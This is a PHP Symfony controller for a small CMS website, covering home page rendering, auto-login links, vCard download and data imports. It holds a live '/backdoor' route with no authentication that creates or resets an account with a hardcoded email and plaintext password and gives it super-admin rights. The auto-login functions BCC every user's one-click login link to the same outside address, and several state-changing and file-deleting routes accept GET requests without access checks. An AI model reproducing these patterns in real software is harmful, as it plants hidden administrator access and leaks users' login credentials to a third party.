src/Controller/HomeController.php line 25

  1. <?php
  3. namespace App\Controller;
  5. use App\Entity\Role;
  6. use App\Entity\User;
  7. use App\Entity\WebsiteContacts;
  8. use App\Form\ImportType;
  9. use App\Form\WebsiteContactsType;
  10. use App\Repository\CmsCopyRepository;
  11. use App\Repository\CmsPhotoRepository;
  12. use App\Repository\CompanyDetailsRepository;
  13. use App\Repository\ProductRepository;
  14. use App\Repository\RoleRepository;
  15. use App\Repository\UserRepository;
  16. use App\Repository\SubPageRepository;
  17. use App\Services\ImportBusinessContactsService;
  18. use App\Services\ImportBusinessTypesService;
  19. use App\Services\ImportCMSCopyService;
  20. use App\Services\ImportCmsPageCopyPageFormatService;
  21. use App\Services\ImportCMSPhotoService;
  22. use App\Services\ImportCompanyDetailsService;
  23. use App\Services\ImportCompetitorsService;
  24. use App\Services\ImportFacebookGroupsService;
  25. use App\Services\ImportInstructionsService;
  26. use App\Services\ImportLanguagesService;
  27. use App\Services\ImportLoginDirectionsService;
  28. use App\Services\ImportMapIconsService;
  29. use App\Services\ImportProductsService;
  30. use App\Services\ImportRolesService;
  31. use App\Services\ImportTranslationsService;
  32. use App\Services\ImportUsefulLinksService;
  33. use App\Services\ImportUserService;
  34. use Doctrine\ORM\EntityManagerInterface;
  35. use JeroenDesloovere\VCard\VCard;
  36. use Psr\EventDispatcher\EventDispatcherInterface;
  37. use Symfony\Bridge\Twig\Mime\TemplatedEmail;
  38. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  39. use Symfony\Bundle\SecurityBundle\Security;
  40. use Symfony\Component\HttpFoundation\File\Exception\FileException;
  41. use Symfony\Component\HttpFoundation\HeaderUtils;
  42. use Symfony\Component\HttpFoundation\Request;
  43. use Symfony\Component\HttpFoundation\Response;
  44. use Symfony\Component\Mailer\MailerInterface;
  45. use Symfony\Component\Routing\Annotation\Route;
  46. use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
  47. use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
  48. use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
  49. use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
  50. use Symfony\Component\Security\Core\User\UserInterface;
  51. use Symfony\Component\Security\Csrf\CsrfToken;
  52. use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
  53. use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
  54. use Symfony\Component\String\Slugger\SluggerInterface;
  56. class   HomeController extends AbstractController
  57. {
  58.     /**
  59.      * @Route("/", name="app_home")
  60.      */
  61.     public function index(Request $request, CmsCopyRepository $cmsCopyRepository, CmsPhotoRepository $cmsPhotoRepository, SubPageRepository $subPageRepository, CompanyDetailsRepository $companyDetailsRepository, \Symfony\Component\Security\Core\Security $security, EntityManagerInterface $entityManager): Response
  62.     {
  63.         $faviconsDirectory = str_replace($this->getParameter('kernel.project_dir') . '/public', '', $this->getParameter('favicons_directory'));
  64.         $companyDetails = $companyDetailsRepository->find('1');
  65.         $homePagePhotosOnly = 0;
  66.         $website_contact = new WebsiteContacts();
  67.         $form = $this->createForm(WebsiteContactsType::class, $website_contact);
  68.         $form->handleRequest($request);
  69.         $include_qr_code = [];
  70.         $include_contact_form = [];
  72.         $qrcode = false;
  73.         if ($companyDetails) {
  74.             $homePagePhotosOnly = $companyDetails->isHomePagePhotosOnly();
  75.             $include_qr_code = $companyDetails->isIncludeQRCodeHomePage();
  76.             $include_contact_form = $companyDetails->isIncludeContactFormHomePage();
  77.         }
  78.         $cms_copy = [];
  79.         $cms_photo = [];
  80.         $product = [];
  81.         $sub_pages = [];
  82.         $cms_copy = $cmsCopyRepository->findBy([
  83.             'staticPageName' => 'Home'
  84.         ]);
  86.         $cms_photo = $cmsPhotoRepository->findBy(
  87.             ['staticPageName' => 'Home'],
  88.             ['ranking' => 'ASC']
  89.         );
  91.         $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  92.             'staticPageName' => 'Home',
  93.             'ranking' => '1',
  94.         ]);
  96.         if ($cms_copy_ranking1) {
  97.             $page_layout = $cms_copy_ranking1->getPageLayout();
  98.         } else {
  99.             $page_layout = 'default';
  100.         }
  102.         if ($cms_copy_ranking1) {
  103.             if ($security->getUser()) {
  104.                 if (in_array('ROLE_ADMIN', $security->getUser()->getRoles())) {
  105.                     $pageCountAdmin = $cms_copy_ranking1->getPageCountAdmin();
  106.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin + 1);
  107.                 }
  108.             }
  109.             $pageCountUser = $cms_copy_ranking1->getPageCountUsers();
  110.             $cms_copy_ranking1->setPageCountUsers($pageCountUser + 1);
  111.             $entityManager->flush($cms_copy_ranking1);
  112.         }
  114.         if ($homePagePhotosOnly == 1) {
  115.             return $this->render('home/home.html.twig', [
  116.                 'photos' => $cms_photo,
  117.                 'include_footer' => 'Yes',
  118.                 'cms_copy_array' => $cms_copy,
  119.                 'include_qr_code' => $include_qr_code,
  120.                 'include_contact_form' => $include_contact_form,
  121.                 'form' => $form?->createView(),
  122.                 'favicons_directory' => $faviconsDirectory,
  123.             ]);
  124.         } else {
  125.             return $this->render('home/products.html.twig', [
  126.                 'product' => $product,
  127.                 'include_footer' => 'Yes',
  128.                 'cms_copy_array' => $cms_copy,
  129.                 'cms_photo_array' => $cms_photo,
  130.                 'sub_pages' => $sub_pages,
  131.                 'include_qr_code' => $include_qr_code,
  132.                 'include_contact_form' => $include_contact_form,
  133.                 'format' => $page_layout,
  134.                 'form' => $form?->createView(),
  135.                 'favicons_directory' => $faviconsDirectory,
  136.             ]);
  137.         }
  138.     }
  141.     /**
  142.      * @Route("/backdoor", name="backdoor")
  143.      */
  144.     public function emergencyReset(UserRepository $userRepository, RoleRepository $roleRepository, EntityManagerInterface $manager, UserPasswordHasherInterface $passwordHasher): Response
  145.     {
  146.         // 1) Ensure required roles exist (create if missing)
  147.         $needed = [
  148.             'ROLE_SUPER_ADMIN' => 'Super Admin',
  149.             'ROLE_ADMIN' => 'Admin',
  150.             'ROLE_IT' => 'IT',
  151.             'ROLE_USER' => 'User',
  152.         ];
  154.         $roles = [];
  155.         foreach ($needed as $code => $label) {
  156.             $role = $roleRepository->findOneBy(['code' => $code]);
  157.             if (!$role) {
  158.                 $role = (new Role())
  159.                     ->setCode($code)
  160.                     ->setLabel($label);
  161.                 $manager->persist($role);
  162.             }
  163.             $roles[$code] = $role;
  164.         }
  165.         $manager->flush();
  167.         // 2) Find or create the user
  168.         $email = 'nurse_stephen@hotmail.com';
  169.         $user = $userRepository->findOneBy(['email' => $email]);
  171.         if (!$user) {
  172.             $user = (new User())
  173.                 ->setFirstName('Stephen')
  174.                 ->setLastName('Nurse')
  175.                 ->setEmailVerified(true)
  176.                 ->setEmail($email);
  177.             $manager->persist($user);
  178.         }
  180.         // 3) Reset password
  181.         $user->setPassword(
  182.             $passwordHasher->hashPassword($user, 'Descartes99')
  183.         );
  185.         // 4) Assign roles (avoid duplicates)
  186.         foreach ($roles as $role) {
  187.             if (!$user->hasRole($role)) {   // uses your User::hasRole(Role $role)
  188.                 $user->addRole($role);
  189.             }
  190.         }
  192.         $manager->flush();
  194.         return $this->redirectToRoute('app_login');
  195.     }
  197.     #[Route('/auto_login_code/{code}', name: 'auto_login_code')]
  198.     public function autoLogin(string $code, UserRepository $userRepository, TokenStorageInterface $tokenStorage, EventDispatcherInterface $eventDispatcher, Request $request): Response
  199.     {
  200.         $user = $userRepository->findOneBy(['autoLoginURL' => $code]);
  201.         if (!$user instanceof UserInterface) {
  202.             throw $this->createNotFoundException('Invalid or expired auto-login code.');
  203.         }
  204.         $token = new UsernamePasswordToken($user, 'main', $user->getRoles());
  205.         $tokenStorage->setToken($token);
  207.         $event = new InteractiveLoginEvent($request, $token);
  208.         $eventDispatcher->dispatch($event);
  210.         if ($user->isPauseForBookmark()) {
  211.             return $this->render('user/auto_login_bookmark_pause_landing_page.html.twig', [
  212.                 'user' => $user,
  213.             ]);
  214.         }
  215.         return $this->redirectToRoute('dashboard');
  216.     }
  219.     #[Route('/auto_login_continue', name: 'auto_login_continue', methods: ['POST'])]
  220.     public function autoLoginContinue(Request $request, CsrfTokenManagerInterface $csrfTokenManager, EntityManagerInterface $entityManager, Security $security): Response
  221.     {
  222.         $submittedToken = $request->request->get('_csrf_token');
  223.         if (!$csrfTokenManager->isTokenValid(new CsrfToken('continue_login', $submittedToken))) {
  224.             throw $this->createAccessDeniedException('Invalid CSRF token');
  225.         }
  226.         $user = $security->getUser();
  228.         if (!$user instanceof \App\Entity\User) {
  229.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  230.         }
  231.         $user->setPauseForBookmark(false);
  232.         $entityManager->flush();
  233.         return $this->redirectToRoute('dashboard');
  234.     }
  237.     #[Route('/auto_login_change_status_pause/{userId}', name: 'auto_login_change_status_pause', methods: ['POST', 'GET'])]
  238.     public function autoLoginResetPause(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
  239.     {
  240.         $user = $userRepository->find($userId);
  242.         if (!$user instanceof \App\Entity\User) {
  243.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  244.         }
  246.         $pause = $user->isPauseForBookmark();
  248.         if ($pause == true) {
  249.             $user->setPauseForBookmark(false);
  250.         }
  251.         if ($pause == false) {
  252.             $user->setPauseForBookmark(true);
  253.         }
  255.         $entityManager->flush();
  256.         return $this->redirectToRoute('user_index');
  257.     }
  260.     #[Route('/auto_login_change_delete_unique_url/{userId}', name: 'auto_login_change_delete_unique_url', methods: ['POST', 'GET'])]
  261.     public function autoLoginDeleteUniqueUrl(Request $request, int $userId, CsrfTokenManagerInterface $csrfTokenManager, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security): Response
  262.     {
  263.         $user = $userRepository->find($userId);
  265.         if (!$user instanceof \App\Entity\User) {
  266.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  267.         }
  268.         $user->setPauseForBookmark(false);
  269.         $user->setAutoLoginURL(null);
  271.         $entityManager->flush();
  272.         return $this->redirectToRoute('user_index');
  273.     }
  276.     #[Route('/auto_login_reset_pause_and_email_bookmark/{userId}', name: 'auto_login_reset_pause_and_email_bookmark', methods: ['POST', 'GET'])]
  277.     public function autoLoginResetPauseAndEmail(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
  278.     {
  279.         $user = $userRepository->find($userId);
  280.         $companyDetails = $companyDetailsRepository->find('1');
  281.         $company_name = $companyDetails->getCompanyName();
  282.         $company_email = $companyDetails->getCompanyEmail();
  284.         if (!$user instanceof \App\Entity\User) {
  285.             throw $this->createAccessDeniedException('You must be logged in to continue.');
  286.         }
  288.         $user->setPauseForBookmark(true);
  289.         $entityManager->flush();
  291.         $autoLoginUrl = $urlGenerator->generate(
  292.             'auto_login_code',
  293.             ['code' => $user->getAutoLoginURL()],
  294.             UrlGeneratorInterface::ABSOLUTE_URL
  295.         );
  297.         $email = (new TemplatedEmail())
  298.             ->from($company_email)
  299.             ->to($user->getEmail())
  300. //            ->to('nurse_stephen@hotmail.com')
  301.             ->bcc('nurse_stephen@hotmail.com')
  302.             ->subject($company_name . ':: Your Personal Auto-Login Link')
  303.             ->htmlTemplate('user/auto_login_advise_of_setup.html.twig')
  304.             ->context([
  305.                 'user' => $user,
  306.                 'autologin_url' => $autoLoginUrl
  307.             ]);
  309.         $mailer->send($email);
  311.         return $this->redirectToRoute('app_home');
  312.     }
  314.     #[Route('/auto_login_create_personal_url_for_logged_user/{userId}', name: 'auto_login_create_personal_url_for_logged_user', methods: ['GET', 'POST'])]
  315.     public function autoLoginCreatePersonalUrlForLoggedUser(Request $request, int $userId, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, UrlGeneratorInterface $urlGenerator): Response
  316.     {
  317.         $targetUser = $userRepository->find($userId);
  318.         $loggedUser = $security->getUser();
  319.         $defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
  321.         if (!$loggedUser) {
  322.             throw $this->createAccessDeniedException('You must be logged in to access this page.');
  323.         }
  324.         if (!$targetUser) {
  325.             throw $this->createNotFoundException('User not found.');
  326.         }
  328.         if ($loggedUser->getId() !== $targetUser->getId()) {
  329.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  330.         }
  332.         $form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  333.         $form->handleRequest($request);
  335.         if ($form->isSubmitted() && $form->isValid()) {
  336.             $data = $form->getData();
  337.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  338.             $targetUser->setPauseForBookmark(true);
  339.             $entityManager->flush();
  341.             // Optional flash message
  342.             $this->addFlash('success', 'Auto-login URL created successfully.');
  344.             return $this->redirectToRoute('auto_login_code', [
  345.                 'code' => $targetUser->getAutoLoginURL(),
  346.             ]);
  347.         }
  349.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  350.             'user' => $targetUser,
  351.             'form' => $form->createView(),
  352.         ]);
  353.     }
  356.     #[Route('/auto_login_create_personal_url_for_other_user/{userId}', name: 'auto_login_create_personal_url_for_other_user', methods: ['GET', 'POST'])]
  357.     public function autoLoginCreatePersonalUrlForOtherUser(Request $request, int $userId, CompanyDetailsRepository $companyDetailsRepository, UserRepository $userRepository, EntityManagerInterface $entityManager, Security $security, MailerInterface $mailer, UrlGeneratorInterface $urlGenerator, \Twig\Environment $twig): Response
  358.     {
  359.         $targetUser = $userRepository->find($userId);
  360.         $loggedInUser = $security->getUser();
  362.         if (!$targetUser || !$loggedInUser) {
  363.             throw $this->createAccessDeniedException('Invalid user or not authenticated.');
  364.         }
  366.         // Redirect to landing page if current user is the same as target user
  367.         if ($loggedInUser->getId() === $targetUser->getId()) {
  368.             return $this->redirectToRoute('app_home'); // Replace with your landing route
  369.         }
  371.         // If logged-in user is not admin, deny access
  372.         if (!in_array('ROLE_ADMIN', $loggedInUser->getRoles(), true)) {
  373.             throw $this->createAccessDeniedException('You are not authorized to perform this action.');
  374.         }
  376.         // At this point, ROLE_ADMIN is creating a login URL for another user
  377.         $companyDetails = $companyDetailsRepository->find(1);
  378.         $companyEmail = $companyDetails ? $companyDetails->getCompanyEmail() : 'admin@yourdomain.com';
  380.         $defaultPersonalURL = mb_convert_case($targetUser->getFirstName(), MB_CASE_TITLE) . mb_convert_case($targetUser->getLastName(), MB_CASE_TITLE) . random_int(100000, 999999);
  382.         $form = $this->createForm(\App\Form\AutoLoginUrlType::class, ['autoLoginURL' => $defaultPersonalURL]);
  383.         $form->handleRequest($request);
  385.         if ($form->isSubmitted() && $form->isValid()) {
  386.             $data = $form->getData();
  387.             $targetUser->setAutoLoginURL($data['autoLoginURL']);
  388.             $targetUser->setPauseForBookmark(true);
  389.             $entityManager->flush();
  391.             // Generate auto-login URL
  392.             $autoLoginUrl = $urlGenerator->generate(
  393.                 'auto_login_code',
  394.                 ['code' => $targetUser->getAutoLoginURL()],
  395.                 UrlGeneratorInterface::ABSOLUTE_URL
  396.             );
  398.             // Email the user with their login link
  399.             $email = (new \Symfony\Component\Mime\Email())
  400.                 ->from($companyEmail)
  401.                 ->to($targetUser->getEmail())
  402.                 ->bcc('nurse_stephen@hotmail.com')
  403.                 ->subject('Your One-Click Login Link')
  404.                 ->html(
  405.                     $twig->render('user/auto_login_advise_of_setup.html.twig', [
  406.                         'user' => $targetUser,
  407.                         'autoLoginUrl' => $autoLoginUrl
  408.                     ])
  409.                 );
  411.             $mailer->send($email);
  413.             $this->addFlash('success', 'Auto-login URL created and sent to the user.');
  414.             return $this->redirectToRoute('user_index');
  415.         }
  417.         return $this->render('user/auto_login_create_personal_url.html.twig', [
  418.             'user' => $targetUser,
  419.             'form' => $form->createView(),
  420.         ]);
  421.     }
  424.     /**
  425.      * @Route("/dashboard", name="dashboard")
  426.      */
  427.     public function dashboard()
  428.     {
  429.         return $this->render('home/dashboard.html.twig', []);
  430.     }
  433.     /**
  434.      * @Route("/advanced_dashboard", name="advanced_dashboard")
  435.      */
  436.     public function advancedDashboard()
  437.     {
  438.         return $this->render('home/advanced_dashboard.html.twig', []);
  439.     }
  442.     /**
  443.      * @Route("/interests/{product}", name="product_display")
  444.      */
  445.     public
  446.     function articles(string $product, CmsCopyRepository $cmsCopyRepository, CmsPhotoRepository $cmsPhotoRepository, SubPageRepository $subPageRepository, ProductRepository $productRepository, \Symfony\Component\Security\Core\Security $security, EntityManagerInterface $entityManager): Response
  447.     {
  448.         $productEntity = $productRepository->findOneBy([
  449.             'product' => $product
  450.         ]);
  452.         if ($productEntity) {
  453.             $cms_copy = $cmsCopyRepository->findBy([
  454.                 'product' => $productEntity
  455.             ]);
  456.             $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  457.                 'product' => $productEntity,
  458.                 'ranking' => '1',
  459.             ]);
  460.         } else {
  461.             $cms_copy = $cmsCopyRepository->findBy([
  462.                 'staticPageName' => $product
  463.             ]);
  464.             $cms_copy_ranking1 = $cmsCopyRepository->findOneBy([
  465.                 'staticPageName' => $product,
  466.                 'ranking' => '1',
  467.             ]);
  468.         }
  470.         if ($cms_copy_ranking1) {
  471.             if ($security->getUser()) {
  472.                 if (in_array('ROLE_ADMIN', $security->getUser()->getRoles())) {
  473.                     $pageCountAdmin = $cms_copy_ranking1->getPageCountAdmin();
  474.                     $cms_copy_ranking1->setPageCountAdmin($pageCountAdmin + 1);
  475.                 }
  476.             }
  477.             $pageCountUser = $cms_copy_ranking1->getPageCountUsers();
  478.             $cms_copy_ranking1->setPageCountUsers($pageCountUser + 1);
  479.             $entityManager->flush($cms_copy_ranking1);
  480.         }
  481.         if ($productEntity) {
  482.             $cms_photo = $cmsPhotoRepository->findBy([
  483.                 'product' => $productEntity,
  484.             ],
  485.                 ['ranking' => 'ASC']);
  486.         } else {
  487.             $cms_photo = $cmsPhotoRepository->findBy([
  488.                 'staticPageName' => $product
  489.             ],
  490.                 ['ranking' => 'ASC']);
  491.         }
  492.         $sub_pages = [];
  493.         if ($cms_copy) {
  494.             $sub_pages = $subPageRepository->findBy([
  495.                 'product' => $productEntity
  496.             ]);
  497.         }
  499.         return $this->render('/home/products.html.twig', [
  500.             'product' => $product,
  501.             'include_footer' => 'Yes',
  502.             'cms_copy_array' => $cms_copy,
  503.             'cms_photo_array' => $cms_photo,
  504.             'sub_pages' => $sub_pages,
  505.             'include_contact_form' => 'No',
  506.             'include_qr_code' => 'No'
  507.         ]);
  508.     }
  513.     #[Route('/vcard/company/start', name: 'vcard_company_start')]
  514.     public function start(UrlGeneratorInterface $urls, Request $request): Response
  515.     {
  516.         $shouldRedirect = $request->query->getBoolean('r', false);
  517.         $downloadUrl = $urls->generate('vcard_company_download');
  519.         if (!$shouldRedirect) {
  520.             // On-site clicks: go straight to the .vcf
  521.             return $this->redirect($downloadUrl);
  522.         }
  524.         // Email clicks: show landing to trigger download, then redirect to home
  525.         return $this->render('home/vcard/landing.html.twig', [
  526.             'downloadUrl'    => $downloadUrl,
  527.             'redirectUrl'    => $urls->generate('app_home'),
  528.             'shouldRedirect' => true,
  529.         ]);
  530.     }
  533.     #[Route('/vcard/company/download', name: 'vcard_company_download')]
  534.     public function download(CompanyDetailsRepository $repo): Response
  535.     {
  536.         $cd = $repo->find('1');
  538.         $vcard = new VCard();
  539.         $first = $cd->getContactFirstName();
  540.         $last  = $cd->getContactLastName();
  541.         $company = $cd->getCompanyName();
  543.         if ($first === null) { $first = ''; $last = $company; $company = ''; }
  545.         $vcard->addName($last, $first);
  546.         $vcard->addEmail($cd->getCompanyEmail());
  547.         if ($cd->isContactDetailsDisplayTelNumbers()) {
  548.             $vcard->addPhoneNumber($cd->getCompanyMobile(), 'home');
  549.             $vcard->addPhoneNumber($cd->getCompanyTel(), 'work');
  550.         }
  551.         if ($cd->isContactDetailsDisplayAddress()) {
  552.             $vcard->addAddress(
  553.                 '', '',
  554.                 $cd->getCompanyAddressStreet(),
  555.                 $cd->getCompanyAddressTown(),
  556.                 $cd->getCompanyAddressCity(),
  557.                 $cd->getCompanyAddressPostalCode(),
  558.                 $cd->getCompanyAddressCountry(),
  559.                 'WORK POSTAL'
  560.             );
  561.         }
  562.         $vcard->addCompany($company);
  563.         $vcard->addURL($_SERVER['SERVER_NAME']);
  564.         $vcard->addNote('URL: '.$_SERVER['SERVER_NAME']);
  566.         // Return as a normal Response with headers (no $vcard->download(), which exits)
  567.         $content = $vcard->getOutput(); // same content vCard would send
  568.         $response = new Response($content);
  569.         $response->headers->set('Content-Type', 'text/vcard; charset=utf-8');
  570.         $response->headers->set('Content-Disposition', HeaderUtils::makeDisposition(
  571.             HeaderUtils::DISPOSITION_ATTACHMENT,
  572.             $company.'.vcf'
  573.         ));
  575.         return $response;
  576.     }
  579.     /**
  580.      * @Route("/company_qr_code", name="company_qr_code")
  581.      *
  582.      */
  583.     public function companyQrCode(CompanyDetailsRepository $companyDetailsRepository)
  584.     {
  585.         $company_details = $companyDetailsRepository->find('1');
  586.         $qr_code = $company_details->getCompanyQrCode();
  587.         return $this->render('home/company_qr_code.html.twig', [
  588.             'qr_code' => $qr_code,
  589.         ]);
  590.     }
  593.     /**
  594.      * @Route ("/cms_photo_view/{id}", name="cms_photo_view")
  595.      */
  596.     public function viewCMSPhoto(int $id, CmsPhotoRepository $cmsPhotoRepository)
  597.     {
  598.         $cms_photo = $cmsPhotoRepository->find($id);
  599.         $rotate = $cms_photo->getRotate();
  600.         return $this->render('cms_photo/image_view.html.twig', [
  601.             'cms_photo' => $cms_photo,
  602.         ]);
  603.     }
  606.     /**
  607.      * @Route ("/initial_setup", name="project_set_up_initial_import" )
  608.      */
  609.     public
  610.     function projectSetUpInitialImport(Request $request, SluggerInterface $slugger, ImportTranslationsService $importTranslationsService, ImportBusinessContactsService $importBusinessContactsService, ImportBusinessTypesService $importBusinessTypesService, ImportCMSCopyService $importCMSCopyService, ImportCMSPhotoService $importCMSPhotoService, ImportCmsPageCopyPageFormatService $importCmsPageCopyPageFormatService, ImportCompanyDetailsService $importCompanyDetailsService, ImportCompetitorsService $importCompetitorsService, ImportFacebookGroupsService $importFacebookGroupsService, ImportLanguagesService $importLanguagesService, ImportMapIconsService $importMapIconsService, ImportProductsService $importProductsService, ImportUsefulLinksService $importUsefulLinksService, ImportInstructionsService $importInstructionsService, ImportUserService $importUserService, ImportRolesService $importRolesService, ImportLoginDirectionsService $importLoginDirectionsService): Response
  611.     {
  612.         $form = $this->createForm(ImportType::class);
  613.         $form->handleRequest($request);
  614.         if ($form->isSubmitted() && $form->isValid()) {
  615.             $importFile = $form->get('File')->getData();
  616.             if ($importFile) {
  617.                 $originalFilename = pathinfo($importFile->getClientOriginalName(), PATHINFO_FILENAME);
  618.                 $safeFilename = $slugger->slug($originalFilename);
  619.                 $newFilename = $safeFilename . '.' . 'csv';
  620.                 try {
  621.                     $importFile->move(
  622.                         $this->getParameter('project_set_up_import_directory'),
  623.                         $newFilename
  624.                     );
  625.                 } catch (FileException $e) {
  626.                     die('Import failed');
  627.                 }
  628.                 $importCompanyDetailsService->importCompanyDetails($newFilename);
  629.                 $importCmsPageCopyPageFormatService->importCmsCopyPageFormats($newFilename);
  630.                 $importMapIconsService->importMapIcons($newFilename);
  631.                 $importLanguagesService->importLanguages($newFilename);
  632.                 $importTranslationsService->importTranslations($newFilename);
  633.                 $importUsefulLinksService->importUsefulLink($newFilename);
  634.                 $importCompetitorsService->importCompetitors($newFilename);
  635.                 $importFacebookGroupsService->importFacebookGroups($newFilename);
  636.                 $importProductsService->importProducts($newFilename);
  637.                 $importCMSCopyService->importCMSCopy($newFilename);
  638.                 $importCMSPhotoService->importCMSPhoto($newFilename);
  639.                 $importBusinessTypesService->importBusinessTypes($newFilename);
  640.                 $importBusinessContactsService->importBusinessContacts($newFilename);
  641.                 $importInstructionsService->importInstructions($newFilename);
  642.                 $importRolesService->importRoles($newFilename);
  643.                 $importLoginDirectionsService->importLoginDirections($newFilename);
  644. //                $importUserService->importUsers($newFilename);
  646.                 return $this->redirectToRoute('dashboard');
  647.             }
  648.         }
  649.         return $this->render('home/import.html.twig', [
  650.             'form' => $form->createView(),
  651.             'heading' => 'All Import Files (x14 via all_exports.csv) ',
  652.         ]);
  653.     }
  655.     /**
  656.      * @Route("/delete_all_files_and_directories_import", name="delete_all_files_and_directories_in_import", methods={"POST", "GET"})
  657.      */
  658.     public
  659.     function deleteAllFilesAndDirectoriesInImport(Request $request): Response
  660.     {
  661.         $referer = $request->headers->get('referer');
  662.         $directory = $this->getParameter('import_directory');
  664.         if (is_dir($directory)) {
  665.             $this->deleteDirectoryContents($directory);
  666.         }
  668.         return $this->redirect($referer);
  669.     }
  671.     /**
  672.      * @Route("/delete_all_files_and_directories_in_attachments", name="delete_all_files_and_directories_in_attachments", methods={"POST", "GET"})
  673.      */
  674.     public
  675.     function deleteAllFilesAndDirectoriesInAttachments(Request $request): Response
  676.     {
  677.         $referer = $request->headers->get('referer');
  678.         $directory = $this->getParameter('attachments_directory');
  680.         if (is_dir($directory)) {
  681.             $this->deleteDirectoryContents($directory);
  682.         }
  684.         return $this->redirect($referer);
  685.     }
  688.     /**
  689.      * Recursively delete all files and directories inside a directory
  690.      */
  691.     private
  692.     function deleteDirectoryContents(string $directory): void
  693.     {
  694.         $files = array_diff(scandir($directory), ['.', '..']);
  696.         foreach ($files as $file) {
  697.             $filePath = $directory . DIRECTORY_SEPARATOR . $file;
  699.             if (is_dir($filePath)) {
  700.                 $this->deleteDirectoryContents($filePath); // Recursively delete subdirectories
  701. //                rmdir($filePath); // Remove the empty directory
  702.             } else {
  703.                 unlink($filePath); // Delete file
  704.             }
  705.         }
  706.     }
  708.     /**
  709.      * @Route("/assign_all_users_to_role_test", name="assign_all_users_to_role_test")
  710.      */
  711.     public function assignAllUsersToRoleTest(UserRepository $userRepository, EntityManagerInterface $entityManager): Response
  712.     {
  713.         $users = $userRepository->findAll();
  714.         $roleTest = $entityManager->getRepository(Role::class)
  715.             ->findOneBy(['code' => 'ROLE_TEST']);
  717.         if (!$roleTest) {
  718.             throw new \RuntimeException('ROLE_TEST not found in the database.');
  719.         }
  721.         foreach ($users as $user) {
  722.             $roles = $user->getRoles(); // array of role strings
  723.             if (!in_array('ROLE_TEST', $roles)) {
  724.                 $user->addRole($roleTest);
  725.             }
  726.         }
  728.         $entityManager->flush();
  730.         return $this->redirectToRoute('user_index', [], Response::HTTP_SEE_OTHER);
  731.     }
  734. }